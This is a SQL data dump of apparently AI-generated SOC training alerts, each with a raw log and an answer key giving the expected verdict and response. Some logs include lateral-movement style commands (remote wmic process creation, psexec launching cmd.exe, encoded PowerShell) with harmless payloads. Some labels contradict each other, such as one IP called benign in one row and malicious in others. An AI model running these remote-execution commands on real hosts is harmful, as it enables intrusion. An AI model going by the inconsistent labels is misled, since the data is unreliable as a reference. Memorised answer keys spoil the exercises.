(1905, 'Suspicious Command Execution Detected on Web Server', 'high', 'Corelight', 'Potential command injection detected on a web server. The command executed appears to be part of a routine script used for maintenance.', 'Lateral Movement', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:15:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.10.5\",\"hostname\":\"webserver01\",\"command_line\":\"/usr/bin/bash /opt/scripts/cleanup.sh\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"/usr/bin/bash /opt/scripts/cleanup.sh\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Script matches known maintenance routines.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The command matches a routine maintenance script executed by authorized personnel.\"}', 'Beginner', 'NDR', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1906, 'Anomalous DNS Traffic Indicating Potential C2 Communication', 'medium', 'Wireshark', 'Unusual DNS queries detected that resemble C2 beaconing. Queries originate from a misconfigured device sending repeated DNS requests.', 'Malware', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:22:10Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.0.20\",\"hostname\":\"misconfigured-device\",\"domain\":\"beacon.example.com\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"beacon.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Domain seen in unusual traffic patterns; no confirmed malicious activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.0.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Inventory\",\"verdict\":\"internal\",\"details\":\"Device identified as a misconfigured IoT device.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The device was generating unusual DNS requests due to a configuration error; not indicative of C2 communication.\"}', 'Beginner', 'NDR', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1907, 'Confirmed Malware Infection Detected on Workstation', 'critical', 'Darktrace', 'Malware detected on a workstation attempting to communicate with a known malicious IP. Immediate attention required to prevent data breach.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:05:50Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.1.1.45\",\"dst_ip\":\"203.0.113.99\",\"hostname\":\"workstation12\",\"file_hash\":\"3b2e1a7f9c1d4e5a8f4b5c6d7e8f9a0b\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP linked to multiple malware campaigns and C2 infrastructure.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3b2e1a7f9c1d4e5a8f4b5c6d7e8f9a0b\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware variant used in targeted attacks.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Malicious IP and file hash confirmed through OSINT; immediate remediation necessary to prevent further compromise.\"}', 'Beginner', 'NDR', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1908, 'Unusual Network Connection from Internal System', 'medium', 'Zeek', 'A network connection from an internal IP to a known external IP associated with routine IT vulnerability scanning was detected.', 'Data Exfil', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"203.0.113.45\",\"username\":\"itadmin\",\"hostname\":\"internal-server-01\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, part of routine operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP associated with vulnerability scanning services, no malicious activity.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"IP 203.0.113.45 is associated with authorized vulnerability scanning. No further action required.\"}', 'Beginner', 'NDR', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1909, 'Failed Login Attempts Detected on Internal System', 'low', 'Corelight', 'Multiple failed login attempts were detected from a foreign IP address on an internal system. IP is associated with benign activity.', 'Brute Force', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:23:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.5\",\"username\":\"jdoe\",\"hostname\":\"workstation-02\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP has no reports of malicious activity. Likely benign scanning.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, normal operations.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Failed login attempts from IP 198.51.100.23 have no malicious intent; likely routine activity.\"}', 'Beginner', 'NDR', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1910, 'Routine Backup Traffic Mistaken for Data Exfiltration', 'low', 'Darktrace', 'Data transfer from an internal server to an external backup server was flagged as suspicious data exfiltration.', 'Data Exfil', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T07:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.200\",\"username\":\"backupadmin\",\"hostname\":\"backup-server-01\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, routine backup operation.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP is associated with authorized external backup services.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Data transfer to IP 203.0.113.200 is part of regular backup procedures.\"}', 'Beginner', 'NDR', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1911, 'Authorized Admin Access Mistaken for Lateral Movement', 'medium', 'Suricata', 'Admin access from a central management console to an internal server was flagged as potential lateral movement.', 'Lateral Movement', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.20\",\"dst_ip\":\"10.0.0.25\",\"username\":\"adminuser\",\"hostname\":\"mgmt-console\",\"request_body\":\"\",\"command_line\":\"wmic /node:10.0.0.25 process call create calc.exe\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, recognized admin console.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, normal server operation.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"wmic /node:10.0.0.25 process call create calc.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Authorized command execution by admin user.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Command execution was performed by an authorized admin user via a recognized management console.\"}', 'Beginner', 'NDR', 3, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(1912, 'Malicious Command Execution Detected on Internal Server', 'high', 'Wireshark', 'A command was executed on an internal server that matches known patterns of malicious activity, indicating potential compromise.', 'Lateral Movement', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.30\",\"dst_ip\":\"10.0.0.35\",\"username\":\"unknown\",\"hostname\":\"compromised-server\",\"request_body\":\"\",\"command_line\":\"powershell -EncodedCommand Y2FsYy5leGU=\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, potential compromised source.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.35\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, potential compromised target.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell -EncodedCommand Y2FsYy5leGU=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicative of unauthorized access.\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The encoded PowerShell command suggests lateral movement activity with malicious intent.\"}', 'Beginner', 'NDR', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1913, 'Suspicious Network Activity Detected - False Positive', 'medium', 'Suricata', 'Routine IT vulnerability scan detected as potential data exfiltration attempt. The source IP belongs to an internal security tool.', 'Data Exfil', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"192.168.1.100\",\"username\":\"admin\",\"hostname\":\"scanner01\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for authorized vulnerability scanning.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"This is a known internal IP used for routine scanning, not an actual exfiltration event.\"}', 'Beginner', 'NDR', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1914, 'False Positive: Routine Administrative Backup', 'low', 'Corelight', 'Backup traffic misidentified as data exfiltration. The activity was normal and expected for scheduled backups.', 'Data Exfil', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:12:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.50.10\",\"dst_ip\":\"192.168.50.20\",\"username\":\"backupuser\",\"hostname\":\"backupserver\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.50.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network address used for authorized data backup.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The IP address is part of a known backup server cluster performing routine operations.\"}', 'Beginner', 'NDR', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1915, 'Authorized Administrative Activity Detected as Lateral Movement', 'medium', 'Darktrace', 'Detected administrative access from IT personnel flagged as potential lateral movement. The access was legitimate.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.75.15\",\"dst_ip\":\"192.168.75.25\",\"username\":\"it_admin\",\"hostname\":\"admin-pc\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.75.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address used by IT staff for legitimate administrative tasks.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The activity was conducted by authorized IT personnel and is not suspicious.\"}', 'Beginner', 'NDR', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1916, 'False Positive: Misconfigured Legacy Application', 'low', 'Zeek', 'Network traffic from a misconfigured legacy application detected as potential C2 beaconing. The application is not malicious.', 'C2', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.100.50\",\"dst_ip\":\"192.168.100.200\",\"username\":\"legacyapp\",\"hostname\":\"legacy-server\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.100.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a known legacy application server.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"c2\",\"analysis_notes\":\"The traffic is generated by a non-malicious legacy application due to configuration errors.\"}', 'Beginner', 'NDR', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1917, 'C2 Beaconing Detected from External IP', 'high', 'Wireshark', 'Detected C2 beaconing from an external IP address. OSINT lookup confirms the IP is associated with known malicious activities.', 'C2', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T16:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"N/A\",\"hostname\":\"workstation01\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_5\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks and C2 activities.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"c2\",\"analysis_notes\":\"OSINT confirms malicious activities associated with the external IP address, indicating a true positive.\"}', 'Beginner', 'NDR', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1918, 'Suspicious PSExec Lateral Movement Detected', 'medium', 'Corelight', 'A PSExec command was executed from an internal IP to another internal host, indicating potential lateral movement.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:22:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.2.15\",\"dst_ip\":\"10.0.2.20\",\"username\":\"admin_user\",\"hostname\":\"workstation-01\",\"command_line\":\"psexec \\\\\\\\10.0.2.20 -u admin_user cmd.exe\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal source IP, part of authorized network activities\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\10.0.2.20 -u admin_user cmd.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"clean\",\"details\":\"Routine administrative task\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"This activity is part of routine IT maintenance and administrative tasks.\"}', 'Beginner', 'NDR', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1919, 'Routine IT Vulnerability Scanning Detected', 'low', 'Zeek', 'Network traffic analysis detected scanning activities from an internal network scanner.', 'Data Exfil', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:55:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"192.168.1.100\",\"username\":\"-\",\"hostname\":\"scanner-01\",\"request_body\":\"-\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP used for authorized scanning activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Target of authorized internal scan\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The detected network scan is part of routine security assessments conducted by the IT department.\"}', 'Beginner', 'NDR', 3, 1, 'FINANCE', NULL, NULL, NULL, 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1920, 'False Positive Lateral Movement via WMI Detected', 'medium', 'Suricata', 'WMI command detected between two internal hosts, potentially indicating lateral movement, but confirmed as a scheduled task.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T18:40:25Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.5.10\",\"dst_ip\":\"10.0.5.15\",\"username\":\"scheduler\",\"hostname\":\"server-01\",\"command_line\":\"wmic /node:10.0.5.15 process call create \'cmd /c echo scheduled task\'\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.5.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Initiating internal IP, part of routine scheduled tasks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"wmic /node:10.0.5.15 process call create \'cmd /c echo scheduled task\'\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"clean\",\"details\":\"Scheduled task execution\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"This action is part of a routine scheduled task and does not represent malicious activity.\"}', 'Beginner', 'NDR', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1921, 'Data Exfiltration Alert from Legacy System', 'high', 'Darktrace', 'Unusual data transfer detected from a legacy system to an external IP, appearing suspicious but traced to authorized backup process.', 'Data Exfil', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T06:10:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"172.16.0.5\",\"dst_ip\":\"198.51.100.10\",\"username\":\"backup_user\",\"hostname\":\"legacy-system-01\",\"request_body\":\"-\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"172.16.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP involved in legitimate backup operations\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"OSINT Analysis\",\"verdict\":\"clean\",\"details\":\"Authorized backup server\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The detected data transfer is part of a scheduled backup process to an external server.\"}', 'Beginner', 'NDR', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1922, 'C2 Beaconing to Malicious IP Detected', 'critical', 'Wireshark', 'A network connection from an internal host to a known malicious IP indicative of C2 beaconing.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.30\",\"dst_ip\":\"203.0.113.45\",\"username\":\"unknown\",\"hostname\":\"infected-host-01\",\"request_body\":\"-\"}', '2026-03-16 03:09:14', '2026-03-16 03:09:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP showing signs of compromise\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 and malware activities\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The connection to a known C2 IP confirms the presence of malware on the internal host.\"}', 'Beginner', 'NDR', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1923, 'Routine Vulnerability Scan Detected', 'low', 'Zeek', 'A network scan from an internal IP was detected, resembling a vulnerability assessment.', 'Lateral Movement', 'T1046', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"192.168.1.20\",\"username\":\"admin\",\"hostname\":\"IT-Scanner-01\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Records\",\"verdict\":\"internal\",\"details\":\"IP belongs to internal IT department responsible for routine scans.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The scan was conducted by an internal tool for routine vulnerability assessments.\"}', 'Intermediate', 'NDR', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1924, 'Authorized Administrative Backup Activity', 'low', 'Suricata', 'Detected high-volume data transfer from internal server to backup server, typical of scheduled backup tasks.', 'Data Exfil', 'T1020', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T04:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"192.168.2.100\",\"username\":\"backup_admin\",\"hostname\":\"Backup-Server-01\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Records\",\"verdict\":\"internal\",\"details\":\"Regularly scheduled backup operation to authorized backup server.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The detected activity aligns with the scheduled backup tasks performed by IT.\"}', 'Intermediate', 'NDR', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1925, 'Misconfigured Legacy Application Traffic', 'medium', 'Corelight', 'Anomalous traffic patterns observed from a legacy application server due to a configuration error.', 'Lateral Movement', 'T1021', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.3.12\",\"dst_ip\":\"192.168.3.25\",\"username\":\"legacy_user\",\"hostname\":\"Legacy-App-01\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Records\",\"verdict\":\"internal\",\"details\":\"Legacy system misconfiguration leading to unusual traffic patterns.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The traffic pattern is due to a known issue with a legacy application configuration error.\"}', 'Intermediate', 'NDR', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1926, 'Routine Health Check by Network Monitoring Tool', 'low', 'Darktrace', 'Network monitoring tool detected performing routine health checks across multiple internal subnets.', 'Lateral Movement', 'T1049', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.4.10\",\"dst_ip\":\"192.168.4.11\",\"username\":\"netmon\",\"hostname\":\"Monitoring-Tool-01\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.4.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Records\",\"verdict\":\"internal\",\"details\":\"Recognized network monitoring tool performing regular health checks.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The network activity is consistent with normal operations of a network health monitoring tool.\"}', 'Intermediate', 'NDR', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1927, 'Confirmed Malware C2 Beaconing Activity', 'critical', 'Wireshark', 'Detected traffic from an internal host to an external C2 server, indicating potential malware beaconing.', 'Malware', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.5.50\",\"dst_ip\":\"203.0.113.200\",\"username\":\"compromised_user\",\"hostname\":\"Infected-Host-01\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.5.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Records\",\"verdict\":\"internal\",\"details\":\"Internal host exhibiting suspicious behavior.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The traffic pattern and destination IP confirm malicious C2 beaconing from the internal host.\"}', 'Intermediate', 'NDR', 5, 1, 'TECH', NULL, NULL, NULL, 0),
